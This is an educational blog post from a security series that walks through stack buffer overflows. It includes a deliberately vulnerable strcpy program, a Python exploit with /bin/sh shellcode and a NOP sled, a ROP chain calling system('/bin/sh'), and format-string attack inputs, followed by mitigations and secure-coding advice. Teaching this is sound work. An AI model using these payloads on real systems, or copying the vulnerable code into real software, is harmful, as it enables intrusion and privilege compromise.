Buffer Overflows: Breaking the Stack (Part 2)

The Classic Attack

Buffer Overflows: Breaking the Stack (Part 2)

The Classic Attack

In Part 1, we explored Protection Rings and how the OS separates kernel from user space. But what happens when attackers don’t need to attack the kernel directly? What if they can make a user-mode program do their bidding?

Buffer Overflows are among the oldest and most devastating vulnerability classes. Despite decades of mitigations, they still account for significant CVEs because they exploit a fundamental mismatch between how programmers think and how memory actually works.


The Stack: A Quick Refresher

When a function is called, the CPU needs to remember:

  • Where to return after the function completes.
  • The function’s local variables.
  • The function’s parameters.

This information is stored on the Stack—a Last-In-First-Out (LIFO) data structure that grows downward in memory (on x86).

Stack Frame Layout

High Memory Addresses
+------------------+
|   Parameters     |  (Passed by caller)
+------------------+
|   Return Address |  (Where to jump back)
+------------------+
|   Saved EBP      |  (Previous frame pointer)
+------------------+
|   Local Variables|  ← Buffer lives here
+------------------+
Low Memory Addresses (Stack grows down)

What is a Buffer Overflow?

A buffer is a contiguous block of memory. When a program writes more data to a buffer than it can hold, the excess overflows into adjacent memory.

Vulnerable Code Example

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // No bounds checking!
    printf("You entered: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

strcpy() copies until it hits a null terminator. If input is longer than 64 bytes, it overflows buffer.

What Gets Overwritten?

Stack before overflow:
+------------------+
|   Return Address |  0x08048456
+------------------+
|   Saved EBP      |  0xbffff000
+------------------+
|   buffer[64]     |  "AAAA..." (64 bytes)
+------------------+

Stack after 80-byte input:
+------------------+
|   Return Address |  0x41414141 (AAAA)  ← OVERWRITTEN!
+------------------+
|   Saved EBP      |  0x41414141 (AAAA)  ← OVERWRITTEN!
+------------------+
|   buffer[64]     |  "AAAA..." (80 bytes)
+------------------+

When the function returns, the CPU tries to jump to 0x41414141—an address we control!


Exploiting Buffer Overflows

Step 1: Find the Offset

We need to know exactly how many bytes to write before we hit the return address.

# Generate pattern
msf-pattern_create -l 200

# Crash the program with pattern
./vulnerable Aa0Aa1Aa2Aa3...

# Find offset from crash address
msf-pattern_offset -q 0x41366341
# Output: Exact match at offset 76

Step 2: Control the Return Address

Now we know that bytes 77-80 overwrite the return address.

# exploit.py
import struct

offset = 76
return_address = struct.pack("<I", 0xdeadbeef)  # Little-endian

payload = b"A" * offset + return_address
print(payload)

Step 3: Inject Shellcode

We want to execute our own code. Classic approach: place shellcode in the buffer, then jump to it.

# Shellcode to spawn /bin/sh (x86 Linux)
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)

# NOP sled (landing zone)
nop_sled = b"\x90" * 100

# Buffer address (found via debugging)
buffer_addr = struct.pack("<I", 0xbffff500)

payload = nop_sled + shellcode + b"A" * (offset - len(nop_sled) - len(shellcode)) + buffer_addr

Step 4: Execute

./vulnerable $(python exploit.py)
$ id
uid=0(root) gid=0(root)  # If running as root

Modern Mitigations

1. Stack Canaries

A random value (canary) is placed before the return address. Before returning, the function checks if the canary was modified.

+------------------+
|   Return Address |
+------------------+
|   Canary         |  ← Random value, checked before return
+------------------+
|   Local Variables|
+------------------+

Bypass: Information leak to read canary, then include it in overflow.

2. DEP/NX (Data Execution Prevention)

Memory pages are marked either writable OR executable, not both.

  • Stack is writable (for variables) but NOT executable.
  • Shellcode in buffer won’t execute.

Bypass: Return-Oriented Programming (ROP)—chain existing code gadgets.

3. ASLR (Address Space Layout Randomization)

Memory locations are randomized at runtime.

  • We can’t hardcode buffer addresses.
  • Each run places stack/heap at different locations.

Bypass: Information leak, brute force (32-bit systems), or use fixed addresses (libraries without ASLR).

4. PIE (Position Independent Executable)

The program itself is loaded at random addresses.

Bypass: Similar to ASLR bypasses.


Return-Oriented Programming (ROP)

When DEP prevents shellcode execution, we chain existing code snippets.

ROP Gadgets

Small instruction sequences ending in ret:

pop eax; ret
pop ebx; ret
xor eax, eax; ret
mov [eax], ebx; ret

Building a ROP Chain

Instead of jumping to shellcode, we return to a series of gadgets that set up registers and call system("/bin/sh").

from struct import pack

rop_chain = b""
rop_chain += pack("<I", 0x08048001)  # pop eax; ret
rop_chain += pack("<I", 0x0804a000)  # Address of "/bin/sh"
rop_chain += pack("<I", 0x08048002)  # pop ebx; ret
rop_chain += pack("<I", 0x00000000)  # 0
rop_chain += pack("<I", 0x080484f0)  # system@plt

Tools like ROPgadget and ropper automate gadget discovery.


Heap Overflows

Not all overflows are on the stack. Heap overflows corrupt dynamically allocated memory.

  • More complex exploitation.
  • Target heap metadata to gain arbitrary write.
  • Techniques: House of Force, Fastbin Attack, Tcache Poisoning.

Format String Vulnerabilities

Related class of memory corruption.

printf(user_input);  // VULNERABLE
printf("%s", user_input);  // SAFE

Attack:

./vulnerable "%x.%x.%x.%x"  # Leak stack values
./vulnerable "%n%n%n%n"     # Write to memory

Defending Against Buffer Overflows

Secure Coding Practices

  • Use safe functions: strncpy(), snprintf(), fgets()
  • Validate all input lengths.
  • Use languages with bounds checking (Rust, Go).

Compiler Protections

# Enable all protections
gcc -o program program.c -fstack-protector-all -pie -fPIE -D_FORTIFY_SOURCE=2 -Wl,-z,relro,-z,now

Operating System

  • Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space
  • Enable NX: Default on modern systems.

Summary

  • Buffer overflows exploit the gap between buffer size and data written.
  • Stack overflows overwrite return addresses to hijack control flow.
  • Mitigations: Canaries, DEP/NX, ASLR, PIE.
  • ROP bypasses DEP by chaining existing code.
  • Secure coding is the ultimate defense.

Next Part: Once we’re in, how do we go from user to root? Privilege Escalation.

Discussion

Explore Other Series

AI & LLM Security

Explaining Prompt Injection, Data Poisoning, Model Inversion, and securing AI-integrated applicat...

5 parts
Start Reading

Computer Networks & Security

Mastering packet analysis, firewalls, IDS/IPS, and securing modern network infrastructure.

5 parts
Start Reading

Penetration Testing Explorer

A complete zero-to-hero guide covering reconnaissance, scanning, exploitation, post-exploitation,...

5 parts
Start Reading

Cryptography Explorer

From modern encryption standards (AES/RSA) to Zero-Knowledge Proofs and Post-Quantum Cryptography.

5 parts
Start Reading

Microarchitecture Security

A comprehensive analysis of how modern CPU optimizations like speculative execution and caching a...

5 parts
Start Reading
System Security Badge

System Security

Series Completed!

Claim Your Certificate

Enter your details to generate a personalized, verifiable certificate.

Save this ID! Anyone can verify your certificate at tharunaditya.dev/verify

🔔 Never Miss a New Post!

Get instant notifications when I publish new cybersecurity insights, tutorials, and tech articles.